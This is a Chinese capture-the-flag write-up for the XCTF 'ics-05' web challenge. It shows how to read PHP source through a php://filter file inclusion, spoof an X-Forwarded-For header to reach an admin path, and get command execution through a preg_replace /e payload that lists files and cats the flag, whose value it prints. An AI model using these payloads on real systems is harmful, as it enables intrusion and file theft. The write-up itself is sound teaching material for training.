当前位置:网站首页>xctf攻防世界 Web高手进阶区 ics-05
xctf攻防世界 Web高手进阶区 ics-05
2022-08-09 21:54:00 【l8947943】
0x01. 进入环境,查看内容
如图:
给了一张乱七八糟的图,只有设备维护中心可以点击,如图:
看不出什么内容,再次点击云平台设备维护中心,发现url有猫腻,如图:
emmm,看到此处,显示了一个index,猜测page肯定是重点。
0x02. 问题分析
0x02_1. php伪协议
什么是php伪协议?这里我参考大佬总结博客:
PHP伪协议详解
page参数一般是文件包含,利用php伪协议读出源码并把它base64编码输出(要不然就直接在网页上执行看不到源码了),这里的命令是:
/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
前端返回结果如图:
明显的base64编码,丢入base64解码,得到一个php解码文件,如图:
我们将代码拷出来,进行后续的分析。
0x02_2. 代码分析
截取部分有用代码进行分析,如下:
<?php
$page = $_GET[page]; # 拿到url中传递的 page参数
if (isset($page)) {
# 要求拿到的page参数不为空
if (ctype_alnum($page)) {
# ctype_alnum检查$page是否都是字母数字,若都是字母数字则返回ture
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p> # 显示page内容
<br /><br /><br /><br />
<?php
}else{
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php
if (strpos($page, 'input') > 0) {
#返回input在$page中出现的第一个匹配的位置,若未找到返回flase
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
# #返回index.php在$page中出现的第一个匹配的位置,若未找到返回flase
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />
<?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
# 此段代码表示,提交过来的参数携带X_FORWARDED_FOR=127.0.0.1,则执行如下代码
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
# 参数中包含pat参数,rep参数,sub参数
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
# 要求pat、rep、sub参数都不为空
if (isset($pattern) && isset($replacement) && isset($subject)) {
# 调用preg_replace( mixed $pattern , mixed $replacement , mixed $subject)函数,其中
# $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
# $replacement: 用于替换的字符串或字符串数组。
# $subject: 要搜索替换的目标字符串或字符串数组。
# 注意,pattern后添加/e 修正符,则会使 preg_replace() 将 replacement 参数当作 PHP 代码。
# 提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含preg_replace() 的行中出现语法解析错误。
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
</body>
</html>
0x02_3. 构造payload
在burpsuite中添加x-forwarded-for: 127.0.0.1,如图,得到Welcome My Admin !
接着构造pat等参数,payload如下:
/index.php?pat=/123/e&rep=system('ls')&sub=123
发现有s3chahahaDir文件,构造payload如下:
/index.php?pat=/123/e&rep=system('ls+s3chahahaDir')&sub=123
返回结果如图:
发现有个flag文件夹,那么我们继续查看,构造payload:
/index.php?pat=/123/e&rep=system('ls+s3chahahaDir/flag')&sub=123
返回结果如图:
出现了一个flag.php文件,继续构造payload如下:
/index.php?pat=/123/e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=123
返回结果如图:
0x02_4. 得到最终答案
最终答案为: cyberpeace{0002b4d7b2d0858ebb6e13df4b966bd2}
0x03. 总结
这个题目后面不难,最难的是一开始使用php伪协议,其次是php代码审计。这儿是知识盲区,慢慢积累吧
边栏推荐
- 2.1.5 大纲显示问题
- Deceptive Dice
- JS Deobfuscation - AST Restoration Case
- Tensorflow中placeholder函数的用法
- LeetCode26:删除有序数组中的重复项
- AI+Medical: Using Neural Networks for Medical Image Recognition and Analysis
- js十五道面试题(含答案)
- 五星控股汪建国:以“植物精神”深耕赛道,用“动物精神”推动成长
- SQLi-LABS Page-2 (Adv Injections)
- Under the NVM node installation;The node environment variable configuration
猜你喜欢
Space not freed after TRUNCATE table
从产品角度看 L2 应用:为什么说这是一个游乐场?
台风生成,广州公交站场积极开展台风防御安全隐患排查
宝塔实测-搭建LightPicture开源图床系统
STC8H开发(十五): GPIO驱动Ci24R1无线模块
Liver all night to write a thirty thousand - word all the commands the SQL database, function, speaks clearly explain operators, content is rich, proposal collection + 3 even high praise!
4D Summary: 38 Knowledge Points of Distributed Systems
AI Knows Everything: Building and Deploying a Sign Language Recognition System from Zero
ACM MM 2022 | Cloud2Sketch: Painting with clouds in the sky, AI brush strokes
APP自动化测试框架-UiAutomator2基础入门
随机推荐
蔚来杯2022牛客暑期多校训练营7 CFGJ
CVPR22 Oral|通过多尺度token聚合分流自注意力,代码已开源
PHP 2D array sorted by a field
AI识万物:从0搭建和部署手语识别系统
One Pass 2074: [21CSPJ Popularization Group] Candy
《强化学习周刊》第57期:DL-DRL、FedDRL & Deep VULMAN
TRUNCATE表之后空间未释放
跨端技术方案选什么好?
[Cloud Native] 4.2 DevOps Lectures
阿里云架构师金云龙:基于云XR平台的视觉计算应用部署
国内手机厂商曾为它大打出手,如今它却最先垮台……
在“企业通讯录”的盲区,融云的边界与分寸
电脑系统重装后怎么用打印机扫描出文件?
2022 首期线下 Workshop!面向应用开发者们的数据应用体验日来了 | TiDB Workshop Day
Basic JSON usage
TF中使用zeros(),ones(), fill()方法生成数据
Activiti7审批流
Common commands and technical function modules of Metasploit
SecureCRT background color
The overall construction process of the Tensorflow model